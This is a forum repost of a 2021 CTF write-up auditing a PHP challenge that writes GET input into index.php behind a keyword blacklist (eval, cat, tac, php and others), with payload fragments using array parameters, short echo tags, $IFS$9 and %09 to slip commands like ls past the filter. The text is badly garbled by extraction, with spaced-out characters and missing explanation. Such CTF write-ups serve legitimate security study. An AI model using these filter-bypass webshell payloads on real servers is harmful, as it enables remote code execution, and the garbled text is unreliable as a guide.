[18625] 2021-05-12_一道简单ctf题目php代码审计

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-18
2021-05-12_一道简单ctf题目php代码审计 c t f p h p   h e r e 4 0 4   h e r e 4 0 4   2 0 2 1 - 0 5 - 1 2 , a c t i o n p w d a c t i o n u p l o a d d a t a d a t a i n d e x . p h p p h p p h p < ? = ? >   c h e c k c h e c k 使 1 # p a y l o a d d a t a [ 0 ] = < ? =   < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ; f u n c t i o n   c h e c k ( $ i n p u t ) {         i f ( p r e g _ m a t c h ( " / ' |   | _ | p h p | ; | ~ | ^ | + | e v a l | c a t | t a c | r e v | n l | h e a d | t a i l | s o r t | { | } / i " , $ i n p u t ) ) {                 / /   i f ( p r e g _ m a t c h ( " / ' |   | _ | = | p h p / " , $ i n p u t ) ) {                 d i e ( ' h a c k e r ! ! ! ' ) ;         } e l s e {                 r e t u r n   $ i n p u t ;         } } f u n c t i o n   w a f ( $ i n p u t ) {     i f ( i s _ a r r a y ( $ i n p u t ) ) {             f o r e a c h ( $ i n p u t   a s   $ k e y = > $ o u t p u t ) {                     $ i n p u t [ $ k e y ]   =   w a f ( $ o u t p u t ) ;             }     } e l s e {             $ i n p u t   =   c h e c k ( $ i n p u t ) ;     } } $ d i r   =   ' s b / '   .   m d 5 ( $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] )   .   ' / ' ; i f ( ! f i l e _ e x i s t s ( $ d i r ) ) {         m k d i r ( $ d i r ) ; } s w i t c h ( $ _ G E T [ " a c t i o n " ]   ? ?   " " )   {         c a s e   ' p w d ' :                 e c h o   $ d i r ;                 b r e a k ;         c a s e   ' u p l o a d ' :                 $ d a t a   =   $ _ G E T [ " d a t a " ]   ? ?   " " ;                 w a f ( $ d a t a ) ;                 f i l e _ p u t _ c o n t e n t s ( " $ d i r "   .   " i n d e x . p h p " ,   $ d a t a ) ; } ? >     c o d e c a & d a t a [ 1 ] = t
? > c h e c k 2 #     m o r e 1 # $ I F S $ 9   p h p $ I F S $ 9 2 # 使 % 0 9 使 l s , d a t a = < ? = ? > f l a g l s % 0 9 /
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则